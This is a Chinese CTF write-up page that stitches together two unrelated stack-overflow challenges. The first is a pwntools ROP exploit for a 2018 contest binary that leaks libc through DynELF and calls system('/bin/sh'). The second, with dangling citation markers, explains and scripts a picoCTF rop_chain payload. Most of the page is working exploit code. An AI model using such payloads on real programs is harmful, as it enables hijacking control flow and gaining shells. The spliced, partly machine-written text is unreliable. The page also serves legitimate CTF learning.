铁人三项(第五赛区)2018 rop

本文详细介绍了如何使用ROP技术在CTF竞赛中利用内存泄漏和动态链接库解析来实现任意地址读写,最终获取shell的过程。通过具体代码示例,读者可以了解ROP攻击的原理和实践步骤。
from pwn import *
p = process('./2018_rop')

gotwrite = 0x0804A010
pltwrite = 0x080483A0
start = 0x080483C0
bss = 0x0804A020
pltread = 0x08048360

def leak(address):
    payload = 'a' * 140 + p32(pltwrite) + p32(start) + p32(0x01) + p32(address) + p32(0x04) 
    p.sendline(payload)
    leakaddress = p.recv(4)
    return leakaddress

d = DynELF(leak, elf=ELF('./2018_rop'))
system_addr = d.lookup('system', 'libc')
payload = 'a' * 140 + p32(pltread) + p32(start) + p32(0) + p32(bss) + p32(8)
p.send(payload)
p.send("/bin/sh\0")
payload = 'a' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(bss)
p.sendline(payload)
p.interactive()

### 栈溢出与ROP链的基本原理 在`picoCTF_2018_rop_chain`题目中,漏洞函数`vuln()`中使用了`gets()`函数,导致了缓冲区溢出问题。攻击者可以通过精心构造的输入覆盖栈上的返回地址,从而控制程序流。由于开启了NX保护,无法直接执行shellcode,因此需要使用ROP(Return Oriented Programming)技术来绕过保护机制。 ### win_function1和win_function2的作用 题目中的`win_function1()`和`win_function2(int a1)`函数用于设置两个全局变量`win1`和`win2`的值。只有当这两个变量都被设置为1,并且传递给`flag()`函数的参数`a1`等于`0xDEADBAAD`(即-559039827),才能触发打印flag的操作。具体来说: - `win_function1()`将`win1`设置为1。 - `win_function2(int a1)`只有在`win1`为1且传入的参数`a1`等于`0xBAAAAAAD`(即-1163220307)时,才会将`win2`设置为1[^1]。 ### 构造ROP链的过程 为了满足上述条件,攻击者需要构造一个ROP链,依次调用`win_function1`、`win_function2`和`flag`函数,并正确传递参数。具体步骤如下: 1. **填充缓冲区**:首先需要填充足够的字节(例如`0x18`字节)以覆盖缓冲区,直到覆盖到返回地址的位置。 2. **调用win_function1**:由于`win_function1`不需要参数,因此直接调用即可。此时`win1`被设置为1。 3. **调用win_function2**:为了使`win2`被设置为1,需要在调用`win_function2`时传递参数`0xBAAAAAAD`。 4. **调用flag函数**:最后调用`flag`函数,并传递参数`0xDEADBAAD`,以满足条件并打印flag[^3]。 ### 示例代码 以下是构造payload的具体Python代码示例,使用了`pwntools`库来简化ROP链的构造过程: ```python from pwn import * # 连接到目标服务 io = process("./PicoCTF_2018_rop_chain") elf = ELF('./PicoCTF_2018_rop_chain') # 获取函数地址 win1_addr = elf.symbols['win_function1'] win2_addr = elf.symbols['win_function2'] flag_addr = elf.symbols['flag'] # 构造payload payload = b'a' * (0x18 + 4) # 填充缓冲区 payload += p32(win1_addr) # 调用win_function1 payload += p32(win2_addr) # 调用win_function2 payload += p32(flag_addr) # 调用flag函数 payload += p32(0xBAAAAAAD) # win_function2的参数 payload += p32(0xDEADBAAD) # flag函数的参数 # 发送payload io.sendlineafter("Enter your input> ", payload) io.interactive() ``` ### 栈帧结构的构造 在构造ROP链时,需要特别注意栈帧结构的布局。每个函数调用后,返回地址会被压入栈中。因此,需要确保每个函数调用后的返回地址指向下一个函数的入口,并且参数正确传递。具体来说: - `win_function1`的调用不需要参数,因此只需在其后放置`win_function2`的地址。 - `win_function2`需要一个参数`0xBAAAAAAD`,因此在其后放置该参数。 - `flag`函数需要一个参数`0xDEADBAAD`,因此在其后放置该参数[^4]。 通过这种方式,可以逐步构建出满足条件的ROP链,最终触发flag的打印。
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